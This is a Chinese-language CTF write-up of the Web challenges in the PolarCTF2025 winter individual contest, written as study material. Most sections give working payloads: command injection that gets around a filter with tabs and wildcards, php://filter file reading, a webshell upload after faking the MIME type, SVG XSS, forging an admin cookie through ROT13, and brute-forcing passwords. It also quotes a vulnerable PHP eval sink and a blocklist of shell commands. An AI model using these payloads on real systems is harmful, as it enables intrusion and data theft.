PolarCTF2025 冬季个人赛 Web方向全解
字数 1763 2025-12-08 12:12:30
PolarCTF2025冬季个人赛Web方向解题技术教学文档
题目一:不抽象的狗黑子
解题思路
- 信息收集:发现常规位置无flag,通过
find flag命令发现flag位于/etc目录下 - 利用方法:使用命令
cat /etc/f* > /var/www/html/1.txt将flag写入web目录
技术要点
- Linux系统文件路径探索技巧
- 权限利用与文件操作
题目二:狗黑子的跳转
解题步骤
- JS绕过:禁用JavaScript后点击进入
- 参数分析:发现
/ghzgouheizi.php?gou=ghzgouheizi.php存在文件读取功能 - 源码获取:使用PHP过滤器读取源码:
/ghzgouheizi.php?gou=php://filter/read=convert.base64-encode/resource=ghzgouheizi.php
代码分析
<?php
// 关键安全漏洞:仅检测MIME类型
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowedTypes)) {
die("只允许上传图片文件!");
}
// 文件命名机制:base64+md5编码
$base64Name = base64_encode($originalName);
$md5Name = md5($base64Name);
$filename = $md5Name . '.' . $ext;
攻击方法
- 上传Webshell(一句话木马)
- 抓包修改MIME类型为
image/jpeg - 根据编码规则计算文件名访问路径
题目三:来个弹窗2.0
解题过程
- XSS绕过:使用
<svg onload=alert('XSS')>绕过过滤 - 信息获取:弹窗后获得提示,flag为角色名的MD5值
- 角色识别:搜索"背后的盆暮"获得角色名
- MD5计算:对角色名进行MD5哈希得到flag
技术要点
- SVG标签的XSS利用
- 信息收集与密码学基础应用
题目四:aa
代码分析
<?php
$rawX = 'NjU0Nw=='; // base64编码
$rawY = '123'; // 原始字符串
$rawZ = '17%2B8'; // URL编码
function decodeX($value) {
return intval(base64_decode($value)); // 6547
}
function processY($value) {
$reversed = strrev($value); // "321"
$md5Result = md5($reversed); // MD5哈希
return substr($md5Result, 0, 8); // 取前8位
}
function decodeZ($value) {
$decoded = urldecode($value); // "17+8"
return eval("return $decoded;"); // 执行数学运算
}
计算过程
- X = 6547(base64解码)
- Y = MD5("321")前8位
- Z = 17+8 = 25
- flag = X + Y + Z
题目五:help
解题方法
- 前端代码分析:每关调用特定函数
- 函数追踪:控制台执行函数名(不带括号)
- 源码查看:使用开发者工具跳转到函数定义
- 答案获取:从源码中提取答案
- flag生成:提交答案获得base64编码,解码得flag
题目六:cookie欺骗2.0
技术分析
- 认证机制:cookie中auth字段为user字段的ROT13编码
- 权限提升:
- 原始:user="user", auth="hfre"
- 修改:user="admin", auth="nqzva"(admin的ROT13)
- 访问控制:修改cookie后访问flag.php获得权限
题目七:uii
代码审计
<?php
if (isset($_GET["uii"]) && $_GET["uii"] === "Yzz") {
echo "不正确";
exit();
}
if (isset($_GET["uii"])) {
$_GET["uii"] = urldecode($_GET["uii"]);
if ($_GET["uii"] == "Yzz") {
echo "提交正确!!!";
// 输出flag
}
}
?>
绕过技巧
- 使用URL编码:
Yzz→%59%7a%7a - 利用
==松散比较与urldecode的执行顺序差异
题目八:polarflag
代码重构
<?php
$original = "flag{polar_flag_in_here}";
$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; // "username"
$new = "";
foreach ($ascii_codes as $code) {
$new .= chr($code); // "username"
}
function replaceString($original, $new) {
$temp = str_replace("flag{", "the_", $original);
$temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp);
return $temp; // "the_username_is_polar"
}
?>
攻击流程
- 密码爆破:用户名polar,密码字典爆破得6666
- 命令执行绕过:
preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|/| |\\|\*/i',$_GET["polar"]) - 空格绕过:使用
%09(Tab)替代空格 - 文件读取:
sort%09po???????使用通配符匹配文件名
题目九:论坛
漏洞利用
- 前端修改:修改图片class为btn触发功能
- 代码审计:
$rce = @$_REQUEST['cmd']; $filter_result = safe_filter($rce); $safe_rce = $filter_result['data']; eval("var_dump($safe_rce);"); - 命令拼接:
?cmd=$_GET[1]($_GET[2])&1=system&2=tac f*
题目十:PolarShop
解题步骤
- 分数修改:抓包修改购买分数参数
- 目录扫描:发现admin.php
- 密码爆破:用户名Squirtle,密码文件shop_bill.txt,爆破得5qu1rtle
- cookie伪造:修改cookie中user值为Squirtle访问secret
题目十一:金币大挑战
综合利用
- 前端绕过:抓包修改金币数到21
- 路由发现:获得forum_polarCTF.php路径
- 压缩包破解:密码爆破获得文件内容Squirtle1170
- 后门利用:访问uploads/Squirtle.php,参数Squirtle1170执行命令
通用技术总结
文件包含漏洞
- PHP过滤器利用:
php://filter/read=convert.base64-encode/resource= - 本地文件包含路径遍历
上传绕过技术
- MIME类型检测绕过
- 文件扩展名处理漏洞
认证绕过
- Cookie操作与编码识别(ROT13)
- Session伪造
代码执行绕过
- 命令注入过滤绕过(%09替代空格)
- 参数污染与函数动态调用
信息收集技巧
- 目录扫描与敏感文件发现
- 源码泄露与代码审计
- 前端代码分析与JS调试
本教学文档详细记录了PolarCTF2025冬季个人赛Web方向的完整解题思路和技术要点,可作为CTFWeb方向学习的参考资料。